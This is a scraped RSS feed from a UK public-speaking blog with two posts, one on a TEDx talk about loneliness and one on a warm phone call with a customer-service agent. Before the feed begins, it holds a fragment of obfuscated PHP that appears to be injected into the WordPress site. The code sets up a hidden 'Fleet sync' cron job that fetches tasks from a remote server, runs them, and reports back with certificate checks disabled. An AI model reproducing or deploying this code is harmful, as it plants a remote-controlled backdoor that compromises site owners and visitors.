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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Kindness Archives - Now you're talking https://www.nowyouretalking.co.uk/tag/kindness/ Public speaking Fri, 27 Oct 2023 20:23:37 +0000 en-GB hourly 1 https://wordpress.org/?v=7.1 Change matters in our talks and presentations https://www.nowyouretalking.co.uk/2023/10/27/change-matters-in-our-talks-and-presentations/ Fri, 27 Oct 2023 12:56:55 +0000 https://www.nowyouretalking.co.uk/?p=1579 Change matters to speakers. Our job when we give talks and presentations is to create change – change what our listeners think, feel or do about our subject. I recently gave a TEDx Talk about what we can do about…

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]]> Change matters to speakers. Our job when we give talks and presentations is to create change – change what our listeners think, feel or do about our subject.

I recently gave a TEDx Talk about what we can do about loneliness.

Lyn Roseaman giving a TEDxTalk inviting people to change their thoughts, feelings and actions about loneliness

 

It was a talk full of stories from my childhood and the present day, inviting people to change how they handle loneliness and pull together to help smash the loneliness pandemic.

Loneliness is shattering lives, especially young people’s lives. It could happen to any of us, at any time. Hiding under the duvet might seem like a great solution, but withdrawing from the world only makes things worse. Difficult and painful as it is, we need to reach out.

Presenting the case that “Loneliness shatters” and “Community matters”, I seek to change what my audience thinks, feels and does about loneliness.

Inspired by memories of my childhood and growing up in the community of a care home owned and run by my mum, I invite my audience to discover bite-sized ways to help us smash the “loneliness pandemic”. Change matters!

This talk was given at a TEDx event using the TED conference format but independently organised by a local community.

You can listen to the full talk here.

Love to hear your thoughts.

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]]> Be kind – ditch the script & start a conversation https://www.nowyouretalking.co.uk/2020/11/01/start-a-conversation/ Sun, 01 Nov 2020 17:49:43 +0000 https://www.nowyouretalking.co.uk/?p=1322 How are you feeling about the month ahead? I woke up this morning feeling pretty low and under the weather, though I’m pleased to say I haven’t caught the virus! The grey miserable view outside did little to help chase…

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]]> How are you feeling about the month ahead? I woke up this morning feeling pretty low and under the weather, though I’m pleased to say I haven’t caught the virus! The grey miserable view outside did little to help chase away the blues and start a conversation.

 

Knowing that I probably shouldn’t, I decided to call my phone provider and do something about my phone contract that’s about to expire. I dread these calls. You never know whether you’re going to get someone who knows how to start a conversation and tell stories or whether you’re going to get someone reading a sales script.

 

First up, I got the script reader. After three failed attempts at my name, I said I’d called in error and hung up.

 

Take 2. I got through to a delightful man called Gary in Northern Ireland. He called me Lyn. His tone was that of a mate. Warm, friendly, fun. Here was a man who knew how to start a conversation. 2 people start a conversation

 

He was totally relatable and understood how people might be feeling, “People sometimes feel rude and grumpy, but I know it’s not personal; and so many people are worried about money. I’ve switched all our phones to sim-only for now so we have more money for Christmas.”

 

When discussing products, he brought his own experiences into the conversation and the reasons for his choices. I felt as if I was getting recommendations from a trusted friend; not a trace of ‘sales’. He did all my research for me, looking up the specs of candidate phones. He was quite happy for me to explore sim-only arrangements as opposed to phone upgrades.

 

His kindness and understanding even led to him sharing a story about how he helped an older woman who was afraid to go out and needed some help with her property – nothing to do with comms. “She was scared. I just got her address and called her local council so they could go and help her. It was just a phone call.” Such kindness.

 

I could feel my spirits start to lift. We traded stories, vulnerabilities, feelings and fears of our time. He told me all about the dog he’s just rescued. We had a little rant about politics here and across the pond, all sprinkled with laughter, openness and we got the business done.


We agreed what I should buy for now and he gave me a discount.

 

Then he suggested when I should call back to review my decision. I panicked. What if I got another script reader. I shared my concern. “I know what you mean,” he said and joked, “As an Irishman, I love to talk. Imagine getting paid for it!” He offered to keep my account open and call me back in three months. Phew! I felt relieved and in safe hands.

 

It literally pays to be kind. And what value do you put on the emotional experience of such a conversation? As we brought the call to a close, Gary said “This has been the most enjoyable call I’ve had since I joined the company four years ago.” I replied, “I was feeling pretty miserable when we first started talking and now I feel so much happier. Thank you, Gary, it’s been a real pleasure.”

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